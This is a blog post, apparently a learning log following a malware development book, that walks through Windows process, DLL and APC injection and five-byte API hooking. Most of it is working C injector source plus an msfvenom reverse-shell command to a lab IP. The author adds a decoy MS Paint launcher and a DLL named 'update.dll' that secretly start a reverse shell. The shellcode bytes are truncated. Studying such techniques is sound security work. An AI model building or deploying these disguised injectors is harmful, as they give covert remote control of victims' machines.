CybersecurityDev

Malware Dev – Chapter 02 – Injection

Continued series from the Malware Development for Ethical Hackers Book.

The first part of this chapter deals with process and DLL injection. I will break the APC injection and API hooking

Process Injection

I followed the book in generating a reverse shell payload using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST-10.0.3.4 LPORT=4444 -f c

This provides an unsigned char buf[] that can be pasted into C code. The original code also requires manually spawning the appropriate process and specifying the PID to inject. Instead, I made a modification to automatically spawn a process and grab the ID to use. Now, when the executable, which I cleverly named PaintLauncher.exe is ran, a copy of MS Paint is launched. In the background, a secret terminal is also launched with it which allows our reverse shell to connect:

/*
    Proc Injection of Reverse TCP
    19 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 02_proc_injection.c -o PaintLauncher.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>


// created with msfvenom, truncated for web view
unsigned char payload[] = "...";

// get size of payload to determine buffer size during injection
unsigned int payload_length = sizeof(payload);

int main(){
    STARTUPINFO si;         // declaration for startupinfo
    PROCESS_INFORMATION pi; // declaration for procinfo

    HANDLE process_handle;  // Handle for the target process
    HANDLE remote_thread;   // Handle for the remote thread
    PVOID remote_buffer;    // Buffer in the remote process

    // Initialize the STARTUPINFO structure
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //attempt to launch the mspaint decoy process
    if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
        // grab proc id
        printf("Process created successfully!\n");
        printf("Process ID: %lu\n", pi.dwProcessId);
        process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

        // alloc mem for the payload
        remote_buffer = VirtualAllocEx(process_handle, NULL, payload_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);

        // copy payload into buffer
        WriteProcessMemory(process_handle, remote_buffer, payload, payload_length, NULL);

        // Create a remote thread to start payload
        remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);

        // clean up payload handle
        CloseHandle(process_handle);
        // clean up our decoy process
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    else{
        printf("CreateProcess failed (%lu).\n", GetLastError());
    }

    return 0;
}

This also shows the connection via System Informer, under the network tab, as mspaint.exe:

DLL Injection

The book uses a MessageBox code to display for the DLL Injection. I instead modified this to instead have my DLL spawn a reverse shell, like before.

/*
    DLL for DLL Injection
    19 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-g++ -shared -o update.dll 02_dll.c -fpermissive
*/

#include <windows.h>

unsigned char payload[] = "...";

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH: {
    // Allocate memory for the shellcode
    void* exec_mem = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem) {
        // Copy the shellcode to the allocated memory
        memcpy(exec_mem, payload, sizeof(payload));

        // Create a thread to execute the shellcode
        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
        if (hThread) {
            CloseHandle(hThread); // Cleanup
        }
    }
    break;
  }
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

Next, I repurposed the same code as before to auto-launch mspaint, but instead we attach the DLL.

/*
    Proc Injection of Reverse TCP
    19 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 02_dll_injection.c -o PaintLauncherDLL.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>


char maliciousDLL[] = "C:\\update.dll";
unsigned int dll_length = sizeof(maliciousDLL) + 1;


int main(){
    STARTUPINFO si;         // declaration for startupinfo
    PROCESS_INFORMATION pi; // declaration for procinfo

    HANDLE process_handle;  // Handle for the target process
    HANDLE remote_thread;   // Handle for the remote thread
    PVOID remote_buffer;    // Buffer in the remote process

    // Initialize the STARTUPINFO structure
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //attempt to launch the mspaint decoy process
    if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
        // Handle to kernel32 and pass it to GetProcAddress
        HMODULE kernel32_handle = GetModuleHandle("Kernel32");
        VOID *lbuffer = GetProcAddress(kernel32_handle, "LoadLibraryA");
        
        // grab proc id
        printf("Process created successfully!\n");
        printf("Process ID: %lu\n", pi.dwProcessId);
        process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

        // alloc mem for the payload
        remote_buffer = VirtualAllocEx(process_handle, NULL, dll_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);

        // copy payload into buffer
        WriteProcessMemory(process_handle, remote_buffer, maliciousDLL, dll_length, NULL);

        // Create a remote thread to start payload
        remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)lbuffer, remote_buffer, 0, NULL);

        // clean up payload handle
        CloseHandle(process_handle);
        // clean up our decoy process
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    else{
        printf("CreateProcess failed (%lu).\n", GetLastError());
    }

    return 0;
}

And again, we have reverse shell, with the actual shellcode now in an update.dll hidden elsewhere instead of in the executable itself:

reverse shell

The memory view of mspaint.exe shows our C:\\update.dll running:

custom DLL running inside mspaint.exe

APC Injection

The APC injection is very similar to the samples I modified above. It starts a process via C, buit instead starts it in a suspended state. The payload is still copied into the memory as before, however instead of using CreateRemoteThread, a PTHREAD_START_ROUTINE in conjunction with a QueueUserAPC call is used to execute the shell code. Comparison of the difference of proc injection vs APC injection side-by-side, it is very similar.

// dll injection
int main() {
  // Create a 64-bit process:
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInfo;
  LPVOID myPayloadMem;
  SIZE_T myPayloadLen = sizeof(myPayload);
  LPCWSTR cmd;
  HANDLE processHandle, threadHandle;
  NTSTATUS status;

  ZeroMemory(&startupInfo, sizeof(startupInfo));
  ZeroMemory(&processInfo, sizeof(processInfo));
  startupInfo.cb = sizeof(startupInfo);

  CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL, NULL, NULL, FALSE,
    0, NULL, NULL, &startupInfo, &processInfo
  );

  processHandle = processInfo.hProcess;

  // Allocate memory for payload
  myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // Write payload to allocated memory
  WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);

 threadHandle = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)myPayloadMem , NULL, 0, NULL);

  return 0;
}
//apc injection
int main() {
  // Create a 64-bit process:
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInfo;
  LPVOID myPayloadMem;
  SIZE_T myPayloadLen = sizeof(myPayload);
  LPCWSTR cmd;
  HANDLE processHandle, threadHandle;
  NTSTATUS status;

  ZeroMemory(&startupInfo, sizeof(startupInfo));
  ZeroMemory(&processInfo, sizeof(processInfo));
  startupInfo.cb = sizeof(startupInfo);

  CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo
  );

  // Allow time to start/initialize.
  WaitForSingleObject(processInfo.hProcess, 50000);
  processHandle = processInfo.hProcess;
  threadHandle = processInfo.hThread;

  // Allocate memory for payload
  myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // Write payload to allocated memory
  WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);

  // Inject into the suspended thread.
  PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)myPayloadMem;
  QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, (ULONG_PTR)NULL);

  // Resume the suspended thread
  ResumeThread(threadHandle);

  return 0;
}

API Hooking

I did not re-create these examples, as they were simple message box manipulations. The example for API hooking uses a five-byte hook to overwrite the call with a JMP to the custom code, and then execute the custom code.

The original function call address is calculated. Then using memcpy, \xE9 for JMP is loaded into memory along with the offset for the address of the modified function address. Using a new function, a separate library is then loaded and called instead.

In the example, (originalCatFunc)("meow-squeak-tweet!!!") is called instead of the intended (originalCatFunc)("meow-meow").

//excerpt of the C example code
int __stdcall myModifiedCatFunction(LPCTSTR modifiedMessage) {
  HINSTANCE petDll;
  OriginalCatFunction originalCatFunc;

  // unhook the function: restore the original bytes
  WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, originalBytes, 5, NULL);

  // load the original function and modify the message
  petDll = LoadLibrary("pet.dll");
  originalCatFunc = (OriginalCatFunction)GetProcAddress(petDll, "Cat");

  return (originalCatFunc)("meow-squeak-tweet!!!");
}

// logic for installing the hook
void installMyHook() {
  HINSTANCE hLib;
  VOID *myModifiedFuncAddress;
  DWORD *relativeOffset;
  DWORD source;
  DWORD destination;
  CHAR patch[5] = {0};

  // obtain the memory address of the original Cat function
  hLib = LoadLibraryA("pet.dll");
  hookedFunctionAddress = GetProcAddress(hLib, "Cat");

  // save the first 5 bytes into originalBytes buffer
  ReadProcessMemory(GetCurrentProcess(), (LPCVOID)hookedFunctionAddress, originalBytes, 5, NULL);

  // overwrite the first 5 bytes with a jump to myModifiedCatFunction
  myModifiedFuncAddress = &myModifiedCatFunction;

  // calculate the relative offset for the jump
  source = (DWORD)hookedFunctionAddress + 5;
  destination = (DWORD)myModifiedFuncAddress;
  relativeOffset = (DWORD *)(destination - source);

  // \xE9 is the opcode for a jump instruction
  memcpy(patch, "\xE9", 1);
  memcpy(patch + 1, &relativeOffset, 4);

  WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, patch, 5, NULL);
}

This could be utilized to intercept a library call and replace it with our own. I think this, in conjunction with DLL hijacking could be beneficial. If a compromised DLL is loaded before the legitimate DLL, it could have similar code to above to make an application perform operations that were not original intended. I think in terms of the sample code, it defeats the purpose a bit to have the overwrite in the same app as the regular function call, but it is just for learning purposes.